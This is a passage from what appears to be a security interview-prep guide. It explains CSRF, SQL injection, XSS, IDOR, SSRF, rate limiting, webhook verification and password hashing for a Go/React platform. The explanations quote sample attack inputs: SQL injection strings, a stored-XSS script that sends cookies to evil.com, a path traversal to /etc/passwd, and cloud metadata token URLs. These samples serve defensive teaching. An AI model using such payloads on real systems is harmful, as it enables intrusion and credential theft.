Cookie IS sent on top-level navigation (user clicking a link, typing URL), but NOT on cross-site subrequests (AJAX, iframe, form POST from another site). The OAuth redirect (GET) is a top-level navigation, so Lax cookies ARE sent. Lax is the modern default and strikes the right balance for session cookies. It protects against CSRF via form POST from attacker sites.

SameSite=None; Secure:

Cookie is sent in ALL contexts including cross-site subrequests. Must be paired with Secure=true (HTTPS only). This is the old third-party cookie behavior — needed for embedded content, payment iframes, your embeddable JS packages. This is what gets blocked by Safari ITP, hence why you needed the BFF.

Interaction with OAuth:

OAuth's authorization code callback is a GET redirect from the auth server (google.com) to your app (deepta.ai). This is a cross-site top-level navigation. Session cookies with SameSite=Lax ARE sent on this navigation, so your session state (including the anti-CSRF state parameter) is available in the callback handler. With Strict, your state cookie would be missing, breaking the flow.

CSRF Protection Matrix:

Attack Vector	Strict	Lax	None	
Cross-site form POST	Protected	Protected	Vulnerable	
Cross-site GET subrequest	Protected	Protected	Vulnerable	
Cross-site navigation link	Protected (no cookie)	Vulnerable	Vulnerable	
Embedded iframe	Protected	Protected	Vulnerable	

Defense in Depth:

SameSite is not sufficient alone because:

- CSRF tokens are still needed for Lax cookies on GET endpoints that cause state changes (rare but exists)
- Double-submit cookie pattern as fallback for older browsers
- Verify Origin/Referer headers as additional check

IMPLEMENTATION CHALLENGE

Implement CSRF protection in your Go BFF that handles all three attack scenarios:

- Generate CSRF token: random 32 bytes, HMAC-signed with a session-specific secret
- Set as cookie: `__Host-csrf (HttpOnly=false so JS can read it, SameSite=Strict, Secure, Path=)`

- Read from request header: X-CSRF-Token
- Validate on all state-changing requests (POST, PUT, DELETE, PATCH)
- Implement double-submit cookie pattern as fallback
- Exempt: GET/HEAD/OPTIONS (must be idempotent — enforce this)

Also implement Origin validation:

- Allowed origins: configurable list (your university domain whitelist)
- Check Origin header first; fall back to Referer
- For missing Origin (e.g., from curl): check if it's a same-origin request via X-Requested-With: XMLHttpRequest

Constraints: CSRF validation must work with SPA that uses TanStack Query; handle pre-flight CORS correctly; implement token refresh (CSRF token expires with session).

FOLLOW-UP PROBES

1. An attacker sets up evil.com with an image tag pointing to your API. What happens with each SameSite setting?
2. Your university app has a form that works from both the embedded widget (cross-site) and the native deepta.ai site. How do you handle CSRF for both origins?
3. The __Host- cookie prefix prevents Domain attribute. What attack specifically does this prevent?
4. SameSite cookies are a browser control — what about API clients (mobile apps, curl) that don't understand cookies? How do you handle CSRF there?

[E] Easy Security & Auth › OWASP

Q13: Explain SQL injection — classic, blind, and time-based variants. How do you prevent it in your Go microservices using PostgreSQL?

ANSWER

Classic SQL Injection:

Attacker manipulates input to alter the SQL query structure.

Example: `SELECT * FROM users WHERE email='{input}'` — if input is `' OR '1'='1'`, the query becomes: `SELECT * FROM users WHERE email="" OR '1'='1'` — returns all users.

Login bypass: `username = admin'--` makes the query: `SELECT * FROM users WHERE username='admin'-- AND password='...'` — the `--` comments out the password check.

Blind SQL Injection:

No query result is returned, but the attacker can infer data from the application's behavior. Boolean-based: if the app shows different responses for true/false conditions (error page vs normal page), the attacker can extract data one bit at a time: `WHERE id=1 AND SUBSTRING(password,1,1)='a'`

Time-based Blind SQL Injection:

The attacker uses conditional time delays to infer data when there's no visible behavioral difference: `WHERE id=1; IF (SELECT SUBSTRING(password,1,1)='a') WAITFOR DELAY '0:0:5'` — if response takes 5 seconds, first char is 'a'. This works even when all responses look identical.

Prevention — Defense in Depth:

1. **Parameterized Queries (Primary Defense):** NEVER concatenate user input into SQL. Use placeholders:
 - Go + pgx: `db.Query(ctx, "SELECT * FROM users WHERE email=$1", email)`

- The database driver sends query and parameters separately — the parameter can NEVER change the query structure

2. Prepared Statements: Pre-compile the query; parameters are always treated as data

3. Stored Procedures: With parameterized calls (not string-building inside the SP)

4. Input Validation: Whitelist expected formats (email must match regex) — secondary defense, not sufficient alone

5. Least Privilege: Your PostgreSQL user for the app should only have SELECT/INSERT/UPDATE on specific tables — never DROP, never access system tables

6. WAF: Web Application Firewall can catch common injection patterns in transit

7. Error handling: Never expose database errors to users — they reveal schema and query structure

IMPLEMENTATION CHALLENGE

Audit your Deepta AI Go codebase for SQL injection vulnerabilities. Given these three patterns, identify which is safe:

1. `query := fmt.Sprintf("SELECT * FROM students WHERE id = %s", studentID)`
2. `db.Query(ctx, "SELECT * FROM students WHERE id = $1", studentID)`
3. `db.Query(ctx, "SELECT * FROM students WHERE name LIKE '%" + name + "%'")`

Fix all vulnerable patterns. Then implement a student search function that:

- Accepts name (partial match), universityID (exact), and status (enum: pending/approved/rejected)
- Uses parameterized queries for all parameters including the LIKE clause (use \$1 as the pattern: LIKE \$1 with '%' || name || '%' in the parameter)
- Validates status against an allowlist enum before putting it in the query (never put even whitelisted strings into SQL via concatenation)
- Returns paginated results with cursor-based pagination (not OFFSET due to performance)

FOLLOW-UP PROBES

1. Your Go ORM generates: `SELECT * FROM students WHERE status IN ('active', 'pending')`. If status comes from user input, how do you safely build the IN clause?
2. Second-order SQL injection — explain the attack and a scenario where it could affect your platform.
3. Your PostgreSQL has row-level security (RLS) enabled. Does this replace parameterized queries?
4. You use an internal admin tool with hardcoded queries. No user input goes near the SQL. Are you safe?

[M] Mid Security & Auth > OWASP

Q14: Explain XSS (Cross-Site Scripting) — stored, reflected, and DOM-based variants. How do you defend against each, and what role does CSP play?

ANSWER

Stored (Persistent) XSS:

Malicious script is stored in the database and served to other users. Example: Student profile bio field stores `<script>document.location='https://evil.com?c='+document.cookie</script>`. Every user who views that profile executes the script. Most dangerous — affects all users who view the content. Relevant to your Deepta AI platform where student profiles and application data are stored and viewed by university admins.

Reflected XSS:

Malicious script is in the URL and reflected back in the response without being stored. Example: `/search?q=<script>alert(1)</script>` returns "Search results for: `<script>alert(1)</script>`". Requires social engineering to get victims to click a crafted URL. Common in search, error pages, URL-echoing features.

DOM-based XSS:

Vulnerability exists entirely in client-side JavaScript. Server response is safe, but JS code takes untrusted data (URL hash, `localStorage`, `postMessage`) and writes it to the DOM unsafely. Example: `document.getElementById('name').innerHTML = location.hash.slice(1)`. No HTTP request needed — the server never sees the payload. Hardest to detect with server-side tools.

Prevention:

- 1. Output Encoding (Primary):** Encode data before inserting into HTML context. Different encoding for: HTML body (entity encode `< > & " '`), HTML attributes (same + space), JavaScript context (`JSON.stringify` or hex encoding), URL context (percent-encode). React JSX automatically HTML-encodes values — your React frontend has good defaults, but `dangerouslySetInnerHTML` bypasses this.
- 2. Input Validation:** Reject or sanitize malicious-looking input at the server — but not sufficient alone (can't cover all contexts).
- 3. DOMPurify / Sanitization Libraries:** When rich HTML is genuinely needed (e.g., formatted student essays), use DOMPurify to whitelist safe tags/attributes.
- 4. Content Security Policy (CSP):** HTTP response header that tells browsers which sources are trusted:
 - Content-Security-Policy: `default-src 'self'; script-src 'self' https://apis.google.com; style-src 'self' 'unsafe-inline'`
 - `script-src 'nonce-{random}'`: only scripts with matching nonce attribute can execute
 - `script-src 'strict-dynamic'`: trusted scripts can load other scripts
 - Nonces are generated per-request; attacker cannot predict them
 - CSP doesn't prevent XSS but prevents EXECUTION of injected scripts
- 5. HttpOnly cookies:** Even if XSS occurs, HttpOnly cookies can't be read by JavaScript — protects session tokens (this is why your BFF's session cookie should be HttpOnly).
- 6. Trusted Types (Chrome):** Force all DOM sinks (`innerHTML`, etc.) to go through a trusted type policy — makes DOM XSS nearly impossible in Chrome.

IMPLEMENTATION CHALLENGE

Add XSS prevention to your Deepta AI React + Go stack:

Backend (Go):

- Add CSP middleware: generate a nonce per request using `crypto/rand`, set Content-Security-Policy header, pass nonce to frontend via template or API response header
- Add X-Content-Type-Options: `nosniff` and X-Frame-Options: `DENY` headers
- Sanitize rich text input (student essays) server-side using `bluemonday` (Go HTML sanitizer) with a whitelist of safe tags

Frontend (React):

- Audit all `dangerouslySetInnerHTML` usage — replace with DOMPurify where rich HTML is needed
- Implement trusted types policy for your embeddable JS package (runs in third-party context where XSS is higher risk)

- Use nonce-based CSP for your script tags

Constraints: CSP must not break your embeddable JS on university websites (their domain, not yours — you cannot control their CSP); implement CSP reporting endpoint (report-uri) to collect violations; start with Content-Security-Policy-Report-Only to test before enforcing.

FOLLOW-UP PROBES

1. Your React app uses dangerouslySetInnerHTML in exactly one place for rendering student uploaded resumes. How do you safely handle this?
2. CSP with nonces and your embeddable JS package — the university website can't generate your nonce. How do you serve your script safely from their CSP?
3. A student uploads a PDF resume. Your app renders it in an iframe. What XSS risks exist with iframes and PDFs?
4. You add DOMPurify and believe you've eliminated stored XSS. A hacker submits data that passes DOMPurify but exploits a mutation XSS. Explain how this works.

[M] Mid Security & Auth > OWASP

Q15: Explain IDOR (Insecure Direct Object Reference) and broken access control. How do you design your Deepta AI API to prevent students from accessing each other's application data?

ANSWER

IDOR Definition:

IDOR occurs when an application uses user-supplied input to access objects directly without authorization checks. Example: GET /api/applications/12345 returns student application with ID 12345. If the student knows or guesses ID 12346 (another student), and the server only checks authentication (is the user logged in?) but not authorization (does this user OWN application 12346?), they can access another student's private data.

Why IDOR is so common:

Developers check authentication (is there a valid JWT?) but forget authorization (does this JWT's user have permission to access this specific resource?).

Attack Scenarios on Your Platform:

- Student A gets their application ID from the URL: /applications/1001
- They try: /applications/1002, 1003, 1004 (IDOR via sequential IDs)
- If IDs are UUIDs, they try to find patterns or use IDOR in other endpoints: GET /api/students/1001/documents
- Mass assignment: PUT /api/applications/1001 with {"university_id": 999} — changes which university sees their application
- Privilege escalation: POST /api/admin/review with an applicationId they found via IDOR

Prevention — Layered Defense:

1. **Always check ownership:** SELECT * FROM applications WHERE id=\$1 AND student_id=\$2 (get student_id from the JWT, never from the request body)
2. **Use UUIDs instead of sequential IDs:** Harder to enumerate, though not a security control by itself (security through obscurity). UUIDs prevent trivial ID guessing but don't replace authorization checks.
3. **Object-level authorization:** For every API endpoint accessing a specific resource, explicitly verify the requesting user has permission to that specific object. This should be in a reusable middleware or service layer, not scattered ad hoc.

4. Indirect references: Instead of exposing database IDs directly, use a mapping table per user/session. User sees reference ID "A7F2" which maps to actual DB ID 12345 for that user only. Complex to implement, used in high-security contexts.

5. Audit logs: Log all resource access with user ID, resource ID, and outcome. Anomaly detection: same user accessing 100 different student IDs in 1 minute → suspicious.

6. RBAC enforcement at data layer:

- Student: can only read/write own applications
- University admin: can read all applications for THEIR university
- Deepta admin: can access all
- Never derive this from the request parameters

IMPLEMENTATION CHALLENGE

Implement a reusable authorization middleware in your Go backend for resource-level access control:

Define an Authorizer interface:

- CanAccess(ctx, userID string, action string, resourceType string, resourceID string) bool

Implement StudentApplicationAuthorizer:

- Student: `SELECT COUNT(*) FROM applications WHERE id=$1 AND student_id=$2 > 0`
- UniversityAdmin: `SELECT COUNT(*) FROM applications WHERE id=$1 AND university_id IN (SELECT university_id FROM university_staff WHERE user_id=$2)`
- Cache authorization decisions in Redis with 30-second TTL: key = "authz:{userID}:{resourceType}:{resourceID}:{action}"

Wrap all resource endpoints with this middleware:

- GET /api/applications/:id → CanAccess(userID, "read", "application", id)
- PUT /api/applications/:id → CanAccess(userID, "write", "application", id)

Constraints: authorization cache must be invalidated when application ownership changes; log all DENIED accesses with requester IP, user ID, resource ID for security monitoring; implement bulk authorization for list endpoints (student sees list, each item must be authorized without N+1 queries — use a single SQL IN clause).

FOLLOW-UP PROBES

1. A student submits their application. Can they then view it? Can they edit it? Can they delete it? Walk me through the RBAC model.
2. A university admin changes roles — they are demoted from admin to staff. Their session is still valid. How do you ensure the role change takes effect immediately?
3. How would you design the authorization model if a student can share their application with a family member for review?
4. You have 50 authorization rules across the platform. They're scattered in controllers. How do you refactor to a centralized policy decision point?

[A] **Advanced** Security & Auth > OWASP

Q16: Explain SSRF (Server-Side Request Forgery). How could it affect your Deepta AI webhook integrations and what are the specific defenses?

ANSWER

SSRF Definition:

Server-Side Request Forgery occurs when an attacker can cause the server to make HTTP requests to an arbitrary URL of the attacker's choosing. The server makes the request FROM its internal network context — bypassing firewall rules that protect internal services from the internet.

Classic Attack Scenario:

Your platform has a "fetch metadata from URL" feature (e.g., auto-enriching university profile from their website). The attacker provides: `http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance` — this is the AWS/GCP metadata endpoint. From the internet, this is inaccessible. But from your GKE pods, it's accessible and returns IAM credentials (GCP service account tokens).

SSRF Against Your Deepta AI Infrastructure:

- Your webhook integrations (Google Ads, Facebook, IVR) make outbound HTTP calls. If the webhook URL is configurable by an admin, an attacker who compromises an admin account could configure it to point to your internal Kubernetes services, PostgreSQL (if accessible), or GCP metadata
- Your embeddable JS fetches resources from university-provided URLs — if server-side validation is not applied, SSRF is possible
- BFF proxy: if the proxy allows arbitrary upstream targets, SSRF on the BFF exposes your GKE internal network

GCP-Specific SSRF Risk:

`http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token`

From inside a GKE pod, this returns the GCP service account OAuth token — giving the attacker access to all GCP services the pod's service account has permissions to. This is a critical exploit.

Prevention:

- 1. Allowlist approach (primary):** Only permit outbound requests to explicitly allowlisted domains/IPs. For your webhook integrations: only call pre-verified URLs. For user-provided URLs: reject any that aren't on the public internet.
- 2. Blocklist internal IPs (defense-in-depth):**
 - 169.254.0.0/16 (link-local / cloud metadata)
 - 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC 1918 private)
 - 127.0.0.0/8 (loopback)
 - metadata.google.internal, metadata.goog
 - After DNS resolution, verify the resolved IP against the blocklist (prevent DNS rebinding)
- 3. DNS rebinding protection:** Resolve the hostname, check the IP against blocklist, then use that IP for the connection (don't re-resolve). An attacker can have a domain resolve to a public IP first, then switch to 169.254.169.254 after your IP check.
- 4. Disable redirects or verify redirect targets:** SSRF can chain through redirects.
- 5. Network-level controls:** GKE Network Policies to restrict which pods can make outbound calls; block metadata endpoint at the network level via firewall rules.
- 6. Use a dedicated egress proxy:** All outbound calls go through an egress proxy that enforces allowlists — removes SSRF risk from application code.

IMPLEMENTATION CHALLENGE

Implement an SSRF-safe HTTP client in Go for your webhook integrations at Deepta AI:

SafeHTTPClient.Get(ctx, url string) (*http.Response, error):

- Parse and validate the URL (must be https://, valid hostname)
- Resolve the hostname to IP(s) using net.LookupHost
- Check each resolved IP against: private ranges (10/8, 172.16/12, 192.168/16, 127/8), link-local (169.254/16), IPv6 loopback (::1), GCP metadata (169.254.169.254, metadata.google.internal)
- Reject if ANY resolved IP is in the blacklist
- Use a custom net.Dialer that performs the IP check AGAIN at connection time (preventing TOCTOU race with DNS rebinding): use DialContext with a custom resolver that validates the IP after DNS resolution
- Set timeouts: 5s connect, 30s total, 10MB max response body
- Do not follow redirects unless you re-validate the redirect target

Test cases: private IP URLs (should fail), localhost (should fail), metadata endpoint (should fail), valid public webhook URL (should succeed), redirect from public → private URL (should fail).

FOLLOW-UP PROBES

1. Your SSRF check resolves the IP before connecting. Between the check and the connection, DNS switches to 169.254.169.254. How do you prevent this?
2. What if the webhook URL is an IPv6 address like http://[::1]:80? Does your validation catch it?
3. GCP Workload Identity eliminates the metadata token risk somewhat. Explain how, and whether SSRF is still a risk.
4. Your university admin UI lets admins add webhook URLs for their own integrations. How do you safely validate these without breaking legitimate webhook providers?

[A] **Advanced** Security & Auth › OWASP

Q17: Explain Broken Access Control broadly (OWASP #1). Cover horizontal vs vertical privilege escalation, mass assignment, and path traversal. Give examples relevant to your Deepta AI platform.

ANSWER

Broken Access Control (OWASP #1, most common vulnerability) is the umbrella for all cases where users can act outside their intended permissions.

Horizontal Privilege Escalation:

Accessing another user's data at the same privilege level. Student A reads Student B's application (both are regular students). This is IDOR. On your platform: GET /api/applications/12345 without ownership check.

Vertical Privilege Escalation:

Gaining higher privileges than authorized. A student accessing admin endpoints. Triggered by: not checking roles on admin endpoints, JWT role tampering (if you don't verify signature), or forced browsing to /admin/* URLs. Example: POST /api/admin/approve-application {applicationId: "1001"} — if a student guesses this endpoint and you don't verify the admin role claim in their JWT, they approve their own application.

Mass Assignment:

When a REST API binds request body fields directly to a database model without a whitelist, an attacker can set fields that shouldn't be user-modifiable. Example: PUT /api/students/profile sends {"name": "Alice", "email": "alice@gmail.com", "role": "admin"} — if the server does: db.Model(&student).Updates(requestBody) without filtering, the role field gets updated. In Go with GORM: use Select() to specify allowed fields or use DTOs (Data Transfer Objects) that map only allowed fields.

Path Traversal:

An attacker manipulates file paths to access files outside the intended directory. If your app serves student uploaded documents: `/api/documents?file=resume.pdf` and the server does: `filepath.Join(uploadDir, filename)`, an attacker sends: `../../../../etc/passwd`. `filepath.Join` doesn't protect against traversal in older patterns. Use `filepath.Clean()` and verify the cleaned path still starts with the expected base directory.

Forced Browsing:

Accessing URLs that are not linked from the UI but exist on the server. Admin pages at `/admin/users` should require admin role, but developers sometimes forget to add auth middleware to every route.

Prevention Framework:

- Deny by default: all routes require authentication and authorization unless explicitly exempted
- Server-side enforcement: never rely on client-side visibility (hiding buttons doesn't protect APIs)
- DTOs with explicit field whitelisting (not ORM auto-binding)
- Centralized authorization middleware applied to ALL routes
- Automated tests for each endpoint: unauthenticated access (401), wrong role (403), IDOR attempts (403)
- Audit logging for all access control decisions

IMPLEMENTATION CHALLENGE

Design a complete access control test suite for your Deepta AI platform:

Write integration tests that verify:

1. Unauthenticated request to every API endpoint returns 401
2. Student role cannot access `/admin/*` endpoints (403)
3. Student A cannot read/write Student B's application (IDOR check with two test users)
4. Mass assignment attempt: `PUT /api/students/{id}` with `{"role": "admin"}` is rejected
5. Path traversal: `GET /api/documents?file=../../../../etc/passwd` returns 400

Also implement a route registration system in Go that makes it impossible to add a route without specifying required roles:

- `router.SecureRoute("GET", "/api/applications/:id", handler, Roles{Student, UniversityAdmin, Admin})`
- Any route not registered through `SecureRoute` is rejected with 501

Constraints: test suite must run in CI/CD pipeline; use a test PostgreSQL database; seed test data with multiple students and universities; all 5 test categories must pass before deployment.

FOLLOW-UP PROBES

1. You discover that `/api/reports/download` accepts a filename parameter. Write an exploit and the fix.
2. Your Next.js frontend hides the 'Approve Application' button for non-admins. A student opens DevTools and finds the API. What went wrong and how do you prevent it?
3. A student successfully escalates to admin. You need to do a post-incident forensic analysis. What logs do you look at and what do you look for?
4. Describe how ABAC (Attribute-Based Access Control) would allow more granular control than RBAC for your multi-university platform.

[M] Mid Security & Auth > API Security

Q18: Design a rate limiting system for your Deepta AI APIs. Explain fixed window, sliding window, and token bucket algorithms with their tradeoffs.

ANSWER

Why Rate Limiting:

On your Deepta AI platform, rate limiting prevents: brute force attacks on login endpoints, API abuse by malicious clients, protection of expensive AI operations (LLM calls), and DDoS mitigation.

Fixed Window Counter:

- Divide time into fixed windows (e.g., 1-minute buckets)
- Redis key: `rate:{user_id}:{minute_timestamp}`
- INCR the key on each request; EXPIRE if new; reject if over limit
- Problem: at window boundary, a burst of 2x the limit can occur. If limit is 100/min, an attacker can send 100 at 11:59:59 and 100 at 12:00:00 — 200 requests in 2 seconds.

Sliding Window (Log-based):

- Store all request timestamps in a sorted set: `ZADD rate:{user_id} timestamp timestamp`
- Remove old entries: `ZREMRANGEBYSCORE ... 0 (now - window)`
- Count remaining: `ZCARD ...` — if over limit, reject
- Accurate: truly limits to N requests per rolling window
- Problem: memory-heavy (stores every request timestamp); $100 \text{ req/min} \times 1\text{M users} = 100\text{M entries}$

Sliding Window Counter (Approximate, Efficient):

- Hybrid of the two. Keep two fixed-window counts: current window and previous
- Estimate sliding window count: $\text{previous} \times (1 - \text{elapsed/window}) + \text{current}$
- Good approximation, $O(1)$ storage, no sorted sets
- Redis: two INCR keys per user

Token Bucket:

- Each user has a bucket of tokens (capacity = burst limit)
- Tokens refill at a rate (e.g., 10/second)
- Each request consumes a token; no tokens → reject
- Allows bursts up to bucket capacity; sustained rate is the refill rate
- Best for: allowing bursty traffic naturally (a student submitting a multi-step form)
- Implementation in Redis: store (tokens, last_refill_timestamp); on each request, calculate tokens gained since last request, cap at max, subtract 1

Leaky Bucket:

- Requests enter a queue; processed at a fixed rate
- Excess requests dropped or queued (depending on variant)
- Smooths traffic — no bursts allowed; not suitable when you want to allow bursts

For Your Deepta AI Platform:

- Login endpoint: Fixed Window, 5 attempts per 15 minutes per IP (brute force protection)
- Regular API: Sliding Window Counter, 1000 req/min per user
- LLM/AI endpoints: Token Bucket, 10 requests burst, refill 2/minute (expensive calls)
- Webhook ingestion (Google Ads, Facebook): Fixed Window per provider, generous limits

IMPLEMENTATION CHALLENGE

Implement a distributed sliding window rate limiter in Go using Redis:

- `LimiterMiddleware(limit int, window time.Duration) gin.HandlerFunc`

- Key: rate:{identifier}:{window_start} where identifier can be user_id (from JWT) or IP (for unauthenticated endpoints)
- Use Redis Lua script for atomicity (INCR + EXPIRE in one script to avoid race conditions)
- Return headers: X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, Retry-After (on 429)
- Different limits per endpoint tier (apply limiter factories per route group)
- Implement bypass: internal service calls (with X-Internal-Token header) skip rate limiting

Lua script approach for atomic sliding window:

```
local key = KEYS[1]; local limit = tonumber(ARGV[1]); local window = tonumber(ARGV[2]); local now =
tonumber(ARGV[3])
```

```
-- remove old entries, count remaining, add current, return {count, ttl}
```

Constraints: rate limiter must add < 2ms per request; must handle Redis connection failures gracefully (fail-open with logging); implement per-endpoint and per-user combined limits (student can't exceed 1000 total or 100 on AI endpoints); test with 10k concurrent requests using Go's testing/race detector.

FOLLOW-UP PROBES

1. Your rate limiter uses Redis. Redis goes down. Do you fail-open (allow all) or fail-closed (block all)? What are the business and security implications?
2. An attacker uses 1000 different IPs, each making 10 requests per minute (below your per-IP limit). How do you detect and mitigate this distributed attack?
3. Your LLM API endpoint costs \$0.01 per call. A bug in your frontend causes it to loop and make 10,000 calls per second. Your rate limiter is per-user at 100/min. What additional circuit breaker do you add?
4. Implement a 'fair queuing' approach where enterprise university clients get higher limits than free-tier ones. How do you architect this?

[A] **Advanced** Security & Auth > API Security

Q19: Explain webhook security. How do you verify that the webhook calls to your Deepta AI platform from Google Ads and Facebook are actually from them and not from an attacker?

ANSWER

The Webhook Security Problem:

Your platform receives webhook POST requests from Google Ads and Facebook when leads are created. These webhooks hit a public URL (e.g., <https://api.deepta.ai/webhooks/google-ads>). Anyone on the internet can POST to this URL — how do you know a request is genuinely from Google/Facebook?

HMAC Signature Verification:

The standard approach. The provider (Google Ads/Facebook) and you share a secret key. For each webhook, the provider computes: HMAC-SHA256(secret, payload) and includes it in a header (X-Hub-Signature-256, X-Google-Signature, etc.). Your server:

1. Read the raw request body (before any JSON parsing — parse order matters)
2. Compute HMAC-SHA256(your_secret, raw_body)
3. Constant-time compare with the signature from the header
4. Reject if mismatch

Facebook Webhook Verification (real implementation):

Header: X-Hub-Signature-256: sha256={hex_signature}

Secret: your app's Facebook App Secret

Computation: HMAC-SHA256(app_secret, raw_request_body) — using hex encoding

Verification: compare header value with "sha256=" + your_computed_hex

Google Pub/Sub / Ads Webhook:

Different mechanism — Google uses JWT-based verification or OAuth token in Authorization header. Verify the token's issuer is Google and the audience is your webhook URL.

Additional Security Layers:

- 1. Timestamp validation:** Include a timestamp in the webhook payload; reject if more than 5 minutes old. This prevents replay attacks — even if an attacker captures a valid webhook, they can't replay it later.
- 2. Nonce/Event ID deduplication:** Store processed event IDs in Redis with TTL. Reject duplicate event IDs. This prevents webhook replay and handles the case where a provider retries delivery.
- 3. IP allowlist:** Google and Facebook publish their webhook source IP ranges. Verify the request IP is in the expected range (useful but not sufficient — rotate your secrets if an IP leaks).
- 4. HTTPS only:** Never accept webhooks over HTTP — signature verification is meaningless if the payload is intercepted in transit.
- 5. Separate endpoint per provider:** /webhooks/google-ads, /webhooks/facebook, /webhooks/ivr — different secrets, different processing, easier to rotate individually.
- 6. Idempotent processing:** Webhook delivery is at-least-once. Your Kafka pipeline (which you use at Deepta AI) should handle duplicate events gracefully using the event ID as the Kafka message key.

IMPLEMENTATION CHALLENGE

Implement webhook signature verification middleware in Go for your Deepta AI platform:

WebhookMiddleware(provider WebhookProvider) gin.HandlerFunc:

- Read entire request body into a buffer (io.ReadAll with limit: 10MB)
- Store raw body in context for handler use (prevent double-reading)
- Extract signature header (provider-specific: X-Hub-Signature-256 for Facebook, X-Google-Header for Google)
- Compute expected signature using provider's secret from GCP Secret Manager (cached with 5-min TTL)
- Use hmac.Equal(expected, received) for constant-time comparison
- Validate timestamp (extract from payload JSON before auth to get timestamp field) — reject if > 5 minutes old
- Check event_id in Redis deduplication set: SETNX webhook:events:{event_id} timestamp with TTL=24h
- Return 200 on duplicate (provider will stop retrying) but skip processing
- Publish verified event to Kafka topic for async processing

Constraints: raw body must be preserved (don't consume it before signature check); secret rotation must work without downtime (support two active secrets during transition); add metrics: webhook_received_total, webhook_auth_failures_total, webhook_duplicates_total; process time-sensitive lead events with < 500ms latency to Kafka.

FOLLOW-UP PROBES

- 1.** Facebook sends the same lead event 3 times due to a network error. Your platform creates 3 duplicate leads. How does your deduplication prevent this?
- 2.** You need to rotate the webhook secret with Facebook. How do you do this without a gap in processing?
- 3.** An attacker sends a webhook with a timestamp 10 minutes ago (replay). Your timestamp check rejects it. But what if the attacker sends it within the 5-minute window? What other defense catches this?

4. Your webhook processing sends data to Kafka. The Kafka producer fails. You've already returned 200 to Facebook (to stop retries). How do you recover the lost event?
-

[M] Mid Security & Auth > Password Hashing

Q20: Compare bcrypt and Argon2 for password hashing. What parameters matter and how do you choose them for a production system?

ANSWER

Why Password Hashing is Different from General Hashing:

Passwords must be hashed with an intentionally SLOW function. MD5 and SHA-256 are fast — an attacker with a GPU can compute billions per second. Password hashing functions are designed to be computationally expensive, making brute force and dictionary attacks impractical.

Bcrypt:

- Designed in 1999, still widely used and considered secure
- Cost factor (work factor): integer 4–31; each increment doubles the computation time
- Automatically generates and stores a random salt (prevents rainbow table attacks)
- Output: \$2b\$12\$[22char salt][31char hash] — self-contained
- Limitation: max 72-byte input (passwords > 72 chars are silently truncated); limited parallelism resistance
- Cost $12 \approx 200$ –400ms per hash on modern hardware — acceptable for login
- Default in most frameworks (bcryptjs, Go's crypto/bcrypt)

Argon2:

- Won the Password Hashing Competition (PHC) in 2015
- Three variants: Argon2d (GPU resistance), Argon2i (side-channel resistance), Argon2id (hybrid, recommended)
- Parameters:
 - Memory: how much RAM to use (e.g., 64MB) — memory-hard, defeats GPU/ASIC attacks
 - Time (iterations): number of passes over memory (e.g., 3)
 - Parallelism: number of threads (e.g., 4) — parallelize on multi-core
- Argon2id with $m=64\text{MB}$, $t=3$, $p=4 \approx 200$ –400ms on modern hardware
- No 72-byte limitation, explicitly memory-hard (much harder to attack with custom hardware)
- Recommended by OWASP for new systems

Choosing Parameters:

Target: $\geq 200\text{ms}$ (makes brute force impractical) but $< 1000\text{ms}$ (acceptable UX for login). Test on your actual server hardware. As servers get faster, increase the cost parameter.

Practical Recommendation:

- New systems: Argon2id ($m=64\text{MB}$, $t=3$, $p=4$)
- Existing systems with bcrypt: stay with bcrypt (cost=12+), migrate to Argon2id on next login (re-hash on successful password verify)
- Both must use: random salts (auto-generated), constant-time comparison, never log passwords in any form

What NOT to use: MD5, SHA-1, SHA-256, SHA-512 (too fast), PBKDF2 (acceptable but inferior to Argon2 due to memory-hardness), plain text (catastrophic), encrypted passwords (the key can be stolen).

IMPLEMENTATION CHALLENGE

Implement a password service in Go for your Deepta AI platform:

- `HashPassword(password string) (string, error)`: use Argon2id with `m=65536` (64MB), `t=3`, `p=4`, `salt=32` random bytes, `key=32` bytes; encode as: `$argon2id$v=19$m=65536,t=3,p=4$[base64(salt)]$[base64(hash)]`
- `VerifyPassword(password, hash string) (bool, error)`: parse parameters from stored hash, recompute, use `subtle.ConstantTimeCompare`
- `NeedsRehash(hash string) bool`: check if the stored hash uses outdated parameters (lower memory or iterations) — return true if so
- On login: if `VerifyPassword` succeeds AND `NeedsRehash` returns true: silently re-hash with new parameters and update DB

Constraints: `HashPassword` must work even under concurrent load without sharing state; implement a password strength validator (min 12 chars, entropy-based scoring using `zxcvbn` or similar) before hashing; add timing-safe comparison even for "user not found" case (compute hash of a dummy password to prevent timing oracle).

FOLLOW-UP PROBES

1. A database breach exposes all your Argon2id hashes. What can the attacker do? How long do you have to force password resets?
2. You have 1 million existing users with bcrypt hashes. You want to migrate to Argon2id. How do you do this without forcing everyone to reset their password?
3. A user's password is 'password123' with Argon2id at `cost=high`. A user's password is 'Xk7@mP9!qR2#' with bcrypt at `cost=10`. Which is more secure and why?
4. Your auth service is under load and password hashing takes 300ms per request. Suddenly you get 1000 login attempts per second. What happens and how do you protect the service?

[M] Mid *Security & Auth > RBAC vs ABAC*

Q21: Explain RBAC vs ABAC. Design the access control model for your Deepta AI multi-tenant university platform.

ANSWER

RBAC (Role-Based Access Control):

Users are assigned roles; roles are granted permissions. Access is determined by: does the user have a role that has permission to perform this action on this resource type?

Simple model: Student | UniversityAdmin | UniversityStaff | DeeptaAdmin | ServiceAccount

Each role has a set of allowed actions: Student → `read:own_application`, `write:own_application`, UniversityAdmin → `read:applications_for_own_university`, `approve:applications`, etc.

Strengths: Simple to implement, easy to audit ("what can admins do?"), well-understood, good tooling.

Weaknesses: Role explosion — you add exceptions and end up with 47 roles (Senior University Reviewer with PDF Access But Not Bulk Export); context-blind (can't express "only during business hours" or "only for applications in pending state").

ABAC (Attribute-Based Access Control):

Access is determined by evaluating a policy against attributes of: the user (`role`, `department`, `university_id`, `clearance_level`), the resource (`status`, `university_id`, `is_sensitive`, `created_date`), the action (`read`, `approve`, `export`), and the environment (`time_of_day`, `IP`, `request_origin`).

Policy example (XACML or OPA Rego style):

```
allow if: user.university_id == resource.university_id AND user.role IN ["admin", "reviewer"] AND resource.status == "submitted" AND (action == "read" OR user.role == "admin")
```

For Your Deepta AI Multi-Tenant Platform:

RBAC is a good foundation; layer ABAC-style attribute checks on top:

